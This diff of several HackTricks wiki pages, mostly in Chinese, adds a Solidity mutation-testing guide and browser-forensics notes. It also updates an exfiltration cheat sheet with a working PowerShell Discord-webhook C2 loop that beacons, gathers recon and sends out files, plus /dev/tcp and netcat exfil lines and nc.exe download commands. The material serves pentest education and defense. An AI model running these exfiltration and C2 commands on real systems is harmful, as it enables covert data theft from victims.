这些实践和机制是任何希望在优先考虑隐私和安全的前提下参与加密货币的人都应掌握的基础。
|
||||
|
||||
## Smart Contract Security
|
||||
|
||||
- Mutation testing to find blind spots in test suites:
|
||||
|
||||
{{#ref}}
|
||||
../smart-contract-security/mutation-testing-with-slither.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
@ -181,9 +189,9 @@ Gas 衡量在 Ethereum 上执行操作所需的计算量,价格以 **gwei**
|
||||
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
|
||||
|
||||
## DeFi/AMM 利用
|
||||
## DeFi/AMM Exploitation
|
||||
|
||||
如果你在研究对 DEXes 和 AMMs 的实际利用(Uniswap v4 hooks、rounding/precision abuse、flash‑loan amplified threshold‑crossing swaps),请查看:
|
||||
If you are researching practical exploitation of DEXes and AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), check:
|
||||
|
||||
{{#ref}}
|
||||
defi-amm-hook-precision.md
|
||||
|
@ -0,0 +1,116 @@
|
||||
# 使用 Slither 的 Solidity 变异测试 (slither-mutate)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
变异测试通过系统性地在你的 Solidity 代码中引入小改动 (mutants) 并重新运行你的测试套件来“测试你的测试”。如果一个测试失败,该 mutant 就被杀死。如果测试仍然通过,该 mutant 存活,暴露出你的测试套件中的盲点,这是行/分支覆盖率无法检测到的。
|
||||
|
||||
关键点:覆盖率显示代码被执行;变异测试显示行为是否被真正断言。
|
||||
|
||||
## 覆盖率可能会误导
|
||||
|
||||
考虑下面这个简单的阈值检查:
|
||||
```solidity
|
||||
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
|
||||
if (deposit >= 1 ether) {
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
```
|
||||
仅检查阈值以下和阈值以上值的单元测试,可能达到 100% 的行/分支覆盖率,但仍未断言相等边界 (==)。如果重构为 `deposit >= 2 ether`,这些测试仍会通过,从而在不知情的情况下破坏协议逻辑。
|
||||
|
||||
变异测试通过修改条件并验证你的测试会失败来暴露这一漏洞。
|
||||
|
||||
## 常见的 Solidity 变异操作符
|
||||
|
||||
Slither 的变异引擎会应用许多小的、改变语义的修改,例如:
|
||||
- 运算符替换:`+` ↔ `-`、`*` ↔ `/` 等
|
||||
- 赋值替换:`+=` → `=`、`-=` → `=`
|
||||
- 常量替换:非零 → `0`、`true` ↔ `false`
|
||||
- 在 `if`/循环 内对条件取反或替换
|
||||
- 注释整行(CR: Comment Replacement)
|
||||
- 将一行替换为 `revert()`
|
||||
- 数据类型交换:例如 `int128` → `int64`
|
||||
|
||||
目标:杀死 100% 的生成变体,或对幸存者给出明确的理由说明。
|
||||
|
||||
## 使用 slither-mutate 运行变异测试
|
||||
|
||||
要求:Slither v0.10.2+。
|
||||
|
||||
- 列出选项和 mutators:
|
||||
```bash
|
||||
slither-mutate --help
|
||||
slither-mutate --list-mutators
|
||||
```
|
||||
- Foundry 示例(捕获结果并保留完整日志):
|
||||
```bash
|
||||
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
||||
```
|
||||
- 如果你不使用 Foundry,请把 `--test-cmd` 替换成你运行测试的方式(例如:`npx hardhat test`、`npm test`)。
|
||||
|
||||
产物和报告默认存放在 `./mutation_campaign`。未被捕获(存活)的变异体会被复制到该目录以便检查。
|
||||
|
||||
### 理解输出
|
||||
|
||||
报告行如下所示:
|
||||
```text
|
||||
INFO:Slither-Mutate:Mutating contract ContractName
|
||||
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
||||
```
|
||||
- 方括号内的标签是 mutator 别名(例如,`CR` = Comment Replacement)。
|
||||
- `UNCAUGHT` 表示 tests 在被修改的行为下通过 → 缺少断言。
|
||||
|
||||
## 减少运行时间:优先考虑高影响的 mutants
|
||||
|
||||
Mutation campaigns 可能需要数小时或数天。降低成本的技巧:
|
||||
- 范围:先只从关键 contracts/directories 开始,然后再扩展。
|
||||
- 优先 mutators:如果某行上的高优先级 mutant 存活(例如,整行被注释),可以跳过该行的低优先级变体。
|
||||
- 如果你的 runner 支持,则并行运行 tests;缓存 dependencies/builds。
|
||||
- Fail-fast:当变更明显展示出断言缺失时,尽早停止。
|
||||
|
||||
## 对存活 mutants 的甄别工作流
|
||||
|
||||
1) 检查被修改的行和行为。
|
||||
- 通过应用该被修改的行并运行针对性的 test 在本地重现。
|
||||
|
||||
2) 强化 tests,断言状态而不仅仅是返回值。
|
||||
- 添加等值/边界检查(例如,测试阈值 `==`)。
|
||||
- 断言后置条件:balances、total supply、authorization 效果,以及 emitted events。
|
||||
|
||||
3) 用更真实的行为替换过于宽松的 mocks。
|
||||
- 确保 mocks 强制执行 transfers、failure paths 和链上会发生的 event emissions。
|
||||
|
||||
4) 为 fuzz tests 增加不变量。
|
||||
- 例如:conservation of value、非负 balances、authorization 不变量,以及适用时单调的 supply。
|
||||
|
||||
5) 反复运行 slither-mutate,直到 survivors 被消灭或有明确理由说明其存在。
|
||||
|
||||
## 案例研究:揭示缺失的状态断言(Arkis protocol)
|
||||
|
||||
在对 Arkis DeFi protocol 的审计过程中,一次 mutation campaign 发现了类似以下的 survivors:
|
||||
```text
|
||||
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
||||
```
|
||||
Commenting out the assignment didn’t break the tests, proving missing post-state assertions. Root cause: code trusted a user-controlled `_cmd.value` instead of validating actual token transfers. An attacker could desynchronize expected vs. actual transfers to drain funds. Result: high severity risk to protocol solvency.
|
||||
|
||||
Guidance: Treat survivors that affect value transfers, accounting, or access control as high-risk until killed.
|
||||
|
||||
## Practical checklist
|
||||
|
||||
- 运行一次有针对性的 campaign:
|
||||
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
||||
- 对幸存者进行分流(triage),并编写在变异行为下会失败的测试/不变量。
|
||||
- 断言余额、供应、授权和事件。
|
||||
- 添加边界测试(`==`、overflows/underflows、零地址、零金额、空数组)。
|
||||
- 替换不现实的 mocks;模拟失败模式。
|
||||
- 迭代直到所有变异体被消除或通过注释和理由得到合理解释。
|
||||
|
||||
## References
|
||||
|
||||
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
|
||||
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
|
||||
- [Slither (GitHub)](https://github.com/crytic/slither)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 常见的白名单域名以提取信息
|
||||
## 常见可用于 exfiltrate 信息的白名单域名
|
||||
|
||||
查看 [https://lots-project.com/](https://lots-project.com/) 以查找可以被滥用的常见白名单域名
|
||||
查看 [https://lots-project.com/](https://lots-project.com/) 以查找可被滥用的常见白名单域名
|
||||
|
||||
## Copy\&Paste Base64
|
||||
|
||||
@ -45,7 +45,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
||||
### 上传文件
|
||||
|
||||
- [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||
- [**SimpleHttpServer 打印 GET 和 POST(以及头部)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
- Python 模块 [uploadserver](https://pypi.org/project/uploadserver/):
|
||||
```bash
|
||||
# Listen to files
|
||||
@ -100,6 +100,91 @@ if __name__ == "__main__":
|
||||
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||||
###
|
||||
```
|
||||
## Webhooks (Discord/Slack/Teams) 用于 C2 & Data Exfiltration
|
||||
|
||||
Webhooks 是只写的 HTTPS 端点,可接收 JSON 和可选的文件部分。它们通常被允许访问受信任的 SaaS 域名,并且不需要 OAuth/API keys,这使得它们在低摩擦的 beaconing 和 exfiltration 场景中很有用。
|
||||
|
||||
要点:
|
||||
- 端点:Discord 使用 https://discord.com/api/webhooks/<id>/<token>
|
||||
- 使用 POST multipart/form-data,包含名为 payload_json 的部分,其内容为 {"content":"..."},以及可选的名为 file 的文件部分。
|
||||
- Operator 循环模式:periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep。HTTP 204 NoContent/200 OK 确认投递。
|
||||
|
||||
PowerShell PoC (Discord):
|
||||
```powershell
|
||||
# 1) Configure webhook and optional target file
|
||||
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
|
||||
$target = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"
|
||||
|
||||
# 2) Reuse a single HttpClient
|
||||
$client = [System.Net.Http.HttpClient]::new()
|
||||
|
||||
function Send-DiscordText {
|
||||
param([string]$Text)
|
||||
$payload = @{ content = $Text } | ConvertTo-Json -Compress
|
||||
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
|
||||
$mp = New-Object System.Net.Http.MultipartFormDataContent
|
||||
$mp.Add($jsonContent, "payload_json")
|
||||
$resp = $client.PostAsync($webhook, $mp).Result
|
||||
Write-Host "[Discord] text -> $($resp.StatusCode)"
|
||||
}
|
||||
|
||||
function Send-DiscordFile {
|
||||
param([string]$Path, [string]$Name)
|
||||
if (-not (Test-Path $Path)) { return }
|
||||
$bytes = [System.IO.File]::ReadAllBytes($Path)
|
||||
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
|
||||
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
|
||||
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
|
||||
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
|
||||
$mp = New-Object System.Net.Http.MultipartFormDataContent
|
||||
$mp.Add($jsonContent, "payload_json")
|
||||
$mp.Add($fileContent, "file", $Name)
|
||||
$resp = $client.PostAsync($webhook, $mp).Result
|
||||
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
|
||||
}
|
||||
|
||||
# 3) Beacon/recon/exfil loop
|
||||
$ctr = 0
|
||||
while ($true) {
|
||||
$ctr++
|
||||
# Beacon
|
||||
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
|
||||
Send-DiscordText -Text $beacon
|
||||
|
||||
# Every 2nd: quick folder listing
|
||||
if ($ctr % 2 -eq 0) {
|
||||
$dirs = @("Documents","Desktop","Downloads","Pictures")
|
||||
$acc = foreach ($d in $dirs) {
|
||||
$p = Join-Path $env:USERPROFILE $d
|
||||
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
|
||||
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
|
||||
}
|
||||
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
|
||||
}
|
||||
|
||||
# Every 3rd: targeted exfil
|
||||
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }
|
||||
|
||||
# Every 4th: basic recon
|
||||
if ($ctr % 4 -eq 0) {
|
||||
$who = whoami
|
||||
$ip = ipconfig | Out-String
|
||||
$tmp = Join-Path $env:TEMP "recon.txt"
|
||||
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
|
||||
Send-DiscordFile -Path $tmp -Name "recon.txt"
|
||||
}
|
||||
|
||||
Start-Sleep -Seconds 20
|
||||
}
|
||||
```
|
||||
注意:
|
||||
- 类似的模式也适用于其他协作平台 (Slack/Teams) 使用它们的 incoming webhooks;相应地调整 URL 和 JSON schema。
|
||||
- 有关 Discord Desktop 缓存工件 和 webhook/API recovery 的 DFIR,请参见:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
|
||||
{{#endref}}
|
||||
|
||||
## FTP
|
||||
|
||||
### FTP 服务器 (python)
|
||||
@ -107,7 +192,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||||
pip3 install pyftpdlib
|
||||
python3 -m pyftpdlib -p 21
|
||||
```
|
||||
### FTP 服务器 (NodeJS)
|
||||
### FTP server (NodeJS)
|
||||
```
|
||||
sudo npm install -g ftp-srv --save
|
||||
ftp-srv ftp://0.0.0.0:9876 --root /tmp
|
||||
@ -150,7 +235,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
||||
#For new Win10 versions
|
||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||
```
|
||||
或创建一个 smb 共享 **使用 samba**:
|
||||
或者创建一个 smb 共享 **使用 samba**:
|
||||
```bash
|
||||
apt-get install samba
|
||||
mkdir /tmp/smb
|
||||
@ -181,7 +266,7 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
|
||||
```
|
||||
## SSHFS
|
||||
|
||||
如果受害者有SSH,攻击者可以将受害者的目录挂载到攻击者。
|
||||
如果 victim 有 SSH,attacker 可以把 victim 上的目录 mount 到 attacker 上。
|
||||
```bash
|
||||
sudo apt-get install sshfs
|
||||
sudo mkdir /mnt/sshfs
|
||||
@ -194,12 +279,12 @@ nc -vn <IP> 4444 < exfil_file
|
||||
```
|
||||
## /dev/tcp
|
||||
|
||||
### 从受害者下载文件
|
||||
### 从受害主机下载文件
|
||||
```bash
|
||||
nc -lvnp 80 > file #Inside attacker
|
||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
```
|
||||
### 上传文件到受害者
|
||||
### 将文件上传到受害者
|
||||
```bash
|
||||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||
# Inside victim
|
||||
@ -228,33 +313,33 @@ sniff(iface="tun0", prn=process_packet)
|
||||
```
|
||||
## **SMTP**
|
||||
|
||||
如果您可以将数据发送到SMTP服务器,则可以使用Python创建一个SMTP来接收数据:
|
||||
如果你可以将数据发送到 SMTP 服务器,你可以使用 python 创建一个 SMTP 服务器来接收这些数据:
|
||||
```bash
|
||||
sudo python -m smtpd -n -c DebuggingServer :25
|
||||
```
|
||||
## TFTP
|
||||
|
||||
默认情况下在 XP 和 2003 中(在其他版本中需要在安装时显式添加)
|
||||
默认在 XP 和 2003 中(在其他系统中需要在安装时显式添加)
|
||||
|
||||
在 Kali 中,**启动 TFTP 服务器**:
|
||||
在 Kali 中,**start TFTP server**:
|
||||
```bash
|
||||
#I didn't get this options working and I prefer the python option
|
||||
mkdir /tftp
|
||||
atftpd --daemon --port 69 /tftp
|
||||
cp /path/tp/nc.exe /tftp
|
||||
```
|
||||
**在Python中的TFTP服务器:**
|
||||
**用 python 编写的 TFTP 服务器:**
|
||||
```bash
|
||||
pip install ptftpd
|
||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||
```
|
||||
在**受害者**上,连接到Kali服务器:
|
||||
在 **victim** 上,连接到 Kali 服务器:
|
||||
```bash
|
||||
tftp -i <KALI-IP> get nc.exe
|
||||
```
|
||||
## PHP
|
||||
|
||||
使用 PHP 单行代码下载文件:
|
||||
使用 PHP oneliner 下载文件:
|
||||
```bash
|
||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||
```
|
||||
@ -296,13 +381,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
||||
```
|
||||
## Debug.exe
|
||||
|
||||
`debug.exe`程序不仅允许检查二进制文件,还具有**从十六进制重建它们的能力**。这意味着通过提供二进制文件的十六进制,`debug.exe`可以生成二进制文件。然而,重要的是要注意,debug.exe**组装文件的大小限制为64 kb**。
|
||||
`debug.exe` 程序不仅允许检查二进制文件,还具有 **从 hex 重建它们的能力**。这意味着,通过提供某个二进制的 hex,`debug.exe` 就可以生成该二进制文件。然而,需要注意的是 debug.exe 在组装文件时有 **最大 64 kb 的大小限制**。
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
然后将文本复制粘贴到 Windows Shell 中,将创建一个名为 nc.exe 的文件。
|
||||
然后将文本复制粘贴到 windows-shell 中,名为 nc.exe 的文件会被创建。
|
||||
|
||||
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
@ -310,4 +395,10 @@ wine exe2bat.exe nc.exe nc.txt
|
||||
|
||||
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
|
||||
|
||||
## 参考
|
||||
|
||||
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
|
||||
- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
|
||||
- [Discord Forensic Suite (cache parser)](https://github.com/jwdfir/discord_cache_parser)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,58 +1,58 @@
|
||||
# 浏览器伪影
|
||||
# 浏览器痕迹
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 浏览器伪影 <a href="#id-3def" id="id-3def"></a>
|
||||
## Browsers Artifacts <a href="#id-3def" id="id-3def"></a>
|
||||
|
||||
浏览器伪影包括由网络浏览器存储的各种类型的数据,例如导航历史、书签和缓存数据。这些伪影保存在操作系统中的特定文件夹中,不同浏览器的存储位置和名称各异,但通常存储相似类型的数据。
|
||||
浏览器痕迹包括由网页浏览器存储的各种类型的数据,例如浏览历史、书签和缓存数据。这些痕迹保存在操作系统内的特定文件夹中,不同浏览器的位置和名称各异,但通常存储类似类型的数据。
|
||||
|
||||
以下是最常见的浏览器伪影的总结:
|
||||
下面是最常见的浏览器痕迹的概述:
|
||||
|
||||
- **导航历史**:跟踪用户访问的网站,识别访问恶意网站的情况。
|
||||
- **自动完成数据**:基于频繁搜索的建议,与导航历史结合时提供洞察。
|
||||
- **书签**:用户保存以便快速访问的网站。
|
||||
- **扩展和附加组件**:用户安装的浏览器扩展或附加组件。
|
||||
- **缓存**:存储网页内容(例如,图像、JavaScript 文件),以提高网站加载速度,对取证分析有价值。
|
||||
- **登录信息**:存储的登录凭据。
|
||||
- **网站图标**:与网站相关的图标,出现在标签和书签中,有助于提供用户访问的额外信息。
|
||||
- **浏览器会话**:与打开的浏览器会话相关的数据。
|
||||
- **下载**:通过浏览器下载的文件记录。
|
||||
- **表单数据**:在网页表单中输入的信息,保存以供将来的自动填充建议。
|
||||
- **缩略图**:网站的预览图像。
|
||||
- **自定义字典.txt**:用户添加到浏览器字典中的单词。
|
||||
- **Navigation History**: 跟踪用户访问网站的记录,有助于识别访问恶意站点。
|
||||
- **Autocomplete Data**: 基于常用搜索的建议,与访问历史结合可提供更多线索。
|
||||
- **Bookmarks**: 用户为快速访问保存的网站。
|
||||
- **Extensions and Add-ons**: 用户安装的浏览器扩展或附加组件。
|
||||
- **Cache**: 存储网页内容(例如图片、JavaScript 文件),用于加快网站加载速度,对取证分析很有价值。
|
||||
- **Logins**: 存储的登录凭据。
|
||||
- **Favicons**: 与网站关联的图标,出现在标签和书签中,可用于补充用户访问的信息。
|
||||
- **Browser Sessions**: 与打开的浏览器会话相关的数据。
|
||||
- **Downloads**: 通过浏览器下载的文件记录。
|
||||
- **Form Data**: 在网页表单中输入的信息,为以后自动填充保存。
|
||||
- **Thumbnails**: 网站的预览图像。
|
||||
- **Custom Dictionary.txt**: 用户添加到浏览器词典的单词。
|
||||
|
||||
## Firefox
|
||||
|
||||
Firefox 在用户数据中组织配置文件,存储在基于操作系统的特定位置:
|
||||
Firefox 将用户数据组织在 profiles(配置文件)中,存储在基于操作系统的特定位置:
|
||||
|
||||
- **Linux**: `~/.mozilla/firefox/`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
|
||||
这些目录中的 `profiles.ini` 文件列出了用户配置文件。每个配置文件的数据存储在 `profiles.ini` 中 `Path` 变量命名的文件夹中,位于与 `profiles.ini` 本身相同的目录中。如果配置文件的文件夹缺失,可能已被删除。
|
||||
这些目录下有一个 `profiles.ini` 文件列出用户配置文件。每个配置文件的数据存储在 `profiles.ini` 中 `Path` 变量指定的文件夹中,该文件夹与 `profiles.ini` 位于相同目录。如果配置文件的文件夹不存在,可能已被删除。
|
||||
|
||||
在每个配置文件文件夹中,您可以找到几个重要文件:
|
||||
在每个配置文件文件夹内,你可以找到几个重要的文件:
|
||||
|
||||
- **places.sqlite**: 存储历史、书签和下载。像 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) 这样的工具可以在 Windows 上访问历史数据。
|
||||
- 使用特定的 SQL 查询提取历史和下载信息。
|
||||
- **places.sqlite**: 存储历史、书签和下载。Windows 上的工具如 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) 可用于访问历史数据。
|
||||
- 使用特定的 SQL 查询来提取历史和下载信息。
|
||||
- **bookmarkbackups**: 包含书签的备份。
|
||||
- **formhistory.sqlite**: 存储网页表单数据。
|
||||
- **handlers.json**: 管理协议处理程序。
|
||||
- **persdict.dat**: 自定义字典单词。
|
||||
- **addons.json** 和 **extensions.sqlite**: 有关已安装的附加组件和扩展的信息。
|
||||
- **cookies.sqlite**: Cookie 存储,Windows 上可以使用 [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) 进行检查。
|
||||
- **cache2/entries** 或 **startupCache**: 缓存数据,可以通过像 [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) 这样的工具访问。
|
||||
- **favicons.sqlite**: 存储网站图标。
|
||||
- **persdict.dat**: 自定义词典单词。
|
||||
- **addons.json** 和 **extensions.sqlite**: 已安装的 add-ons 和扩展的信息。
|
||||
- **cookies.sqlite**: Cookie 存储;Windows 上可使用 [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) 检查。
|
||||
- **cache2/entries** 或 **startupCache**: 缓存数据,可使用 [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) 等工具访问。
|
||||
- **favicons.sqlite**: 存储 favicons。
|
||||
- **prefs.js**: 用户设置和偏好。
|
||||
- **downloads.sqlite**: 较旧的下载数据库,现在已集成到 places.sqlite 中。
|
||||
- **downloads.sqlite**: 旧版的下载数据库,现已合并到 places.sqlite 中。
|
||||
- **thumbnails**: 网站缩略图。
|
||||
- **logins.json**: 加密的登录信息。
|
||||
- **key4.db** 或 **key3.db**: 存储用于保护敏感信息的加密密钥。
|
||||
|
||||
此外,可以通过在 `prefs.js` 中搜索 `browser.safebrowsing` 条目来检查浏览器的反钓鱼设置,以指示安全浏览功能是否启用或禁用。
|
||||
另外,可以通过在 `prefs.js` 中搜索 `browser.safebrowsing` 条目来检查浏览器的反钓鱼设置,从而判断安全浏览功能是启用还是禁用。
|
||||
|
||||
要尝试解密主密码,可以使用 [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
|
||||
使用以下脚本和调用,您可以指定一个密码文件进行暴力破解:
|
||||
To try to decrypt the master password, you can use https://github.com/unode/firefox_decrypt\
|
||||
With the following script and call you can specify a password file to brute force:
|
||||
```bash:brute.sh
|
||||
#!/bin/bash
|
||||
|
||||
@ -67,7 +67,7 @@ done < $passfile
|
||||
|
||||
## Google Chrome
|
||||
|
||||
Google Chrome 根据操作系统将用户配置文件存储在特定位置:
|
||||
Google Chrome 会根据操作系统将用户配置文件存储在特定位置:
|
||||
|
||||
- **Linux**: `~/.config/google-chrome/`
|
||||
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||
@ -75,55 +75,61 @@ Google Chrome 根据操作系统将用户配置文件存储在特定位置:
|
||||
|
||||
在这些目录中,大多数用户数据可以在 **Default/** 或 **ChromeDefaultData/** 文件夹中找到。以下文件包含重要数据:
|
||||
|
||||
- **History**: 包含 URL、下载和搜索关键字。在 Windows 上,可以使用 [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) 来读取历史记录。“Transition Type” 列有多种含义,包括用户点击链接、输入的 URL、表单提交和页面重新加载。
|
||||
- **Cookies**: 存储 cookies。可以使用 [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) 进行检查。
|
||||
- **Cache**: 存储缓存数据。要检查,Windows 用户可以使用 [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html)。
|
||||
- **History**: 包含 URLs、downloads 和搜索关键词。在 Windows 上,可以使用 [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) 来读取 history。"Transition Type" 列有多种含义,包括用户点击链接、手动输入 URL、表单提交和页面重新加载等。
|
||||
- **Cookies**: 存储 cookies。可使用 [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) 检查。
|
||||
- **Cache**: 保存缓存数据。Windows 用户可使用 [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) 检查。
|
||||
|
||||
基于 Electron 的桌面应用(例如 Discord)也使用 Chromium Simple Cache,并在磁盘上留下丰富的痕迹。参见:
|
||||
|
||||
{{#ref}}
|
||||
discord-cache-forensics.md
|
||||
{{#endref}}
|
||||
- **Bookmarks**: 用户书签。
|
||||
- **Web Data**: 包含表单历史。
|
||||
- **Favicons**: 存储网站图标。
|
||||
- **Favicons**: 存储网站的 favicon。
|
||||
- **Login Data**: 包含登录凭据,如用户名和密码。
|
||||
- **Current Session**/**Current Tabs**: 当前浏览会话和打开标签的数据。
|
||||
- **Last Session**/**Last Tabs**: Chrome 关闭前最后会话期间活动网站的信息。
|
||||
- **Extensions**: 浏览器扩展和附加组件的目录。
|
||||
- **Current Session**/**Current Tabs**: 有关当前浏览会话和打开标签页的数据。
|
||||
- **Last Session**/**Last Tabs**: 在 Chrome 关闭前最后一次会话中活跃站点的信息。
|
||||
- **Extensions**: 浏览器扩展和 addon 的目录。
|
||||
- **Thumbnails**: 存储网站缩略图。
|
||||
- **Preferences**: 一个信息丰富的文件,包括插件、扩展、弹出窗口、通知等的设置。
|
||||
- **Browser’s built-in anti-phishing**: 要检查反钓鱼和恶意软件保护是否启用,请运行 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`。在输出中查找 `{"enabled: true,"}`。
|
||||
- **Preferences**: 一个包含大量信息的文件,包括插件、扩展、弹窗、通知等设置。
|
||||
- **Browser’s built-in anti-phishing**: 要检查 anti-phishing 和 malware protection 是否启用,运行 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`。在输出中查找 `{"enabled: true,"}`。
|
||||
|
||||
## **SQLite DB Data Recovery**
|
||||
|
||||
如前所述,Chrome 和 Firefox 使用 **SQLite** 数据库存储数据。可以使用工具 [**sqlparse**](https://github.com/padfoot999/sqlparse) **或** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) **恢复已删除的条目**。
|
||||
如前面章节所示,Chrome 和 Firefox 都使用 **SQLite** 数据库来存储数据。可以使用工具 [**sqlparse**](https://github.com/padfoot999/sqlparse) 或 [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) **恢复已删除的条目**。
|
||||
|
||||
## **Internet Explorer 11**
|
||||
|
||||
Internet Explorer 11 在多个位置管理其数据和元数据,帮助分离存储的信息及其对应的详细信息,以便于访问和管理。
|
||||
Internet Explorer 11 在多个位置管理其数据和元数据,便于将存储的信息与其相应的详细信息分离以便访问和管理。
|
||||
|
||||
### Metadata Storage
|
||||
|
||||
Internet Explorer 的元数据存储在 `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`(VX 为 V01、V16 或 V24)。此外,`V01.log` 文件可能显示与 `WebcacheVX.data` 的修改时间差异,表明需要使用 `esentutl /r V01 /d` 进行修复。此元数据存储在 ESE 数据库中,可以使用 photorec 和 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) 等工具进行恢复和检查。在 **Containers** 表中,可以辨别每个数据段存储的特定表或容器,包括其他 Microsoft 工具(如 Skype)的缓存详细信息。
|
||||
Internet Explorer 的元数据存储在 `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`(其中 VX 为 V01、V16 或 V24)。同时,`V01.log` 文件可能显示与 `WebcacheVX.data` 的修改时间不一致,这表明需要使用 `esentutl /r V01 /d` 进行修复。此元数据位于一个 ESE 数据库中,可以使用 photorec 恢复,并可使用 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) 进行检查。在 **Containers** 表中,可以辨别每个数据段存放的具体表或容器,包括其他 Microsoft 工具(如 Skype)的缓存细节。
|
||||
|
||||
### Cache Inspection
|
||||
|
||||
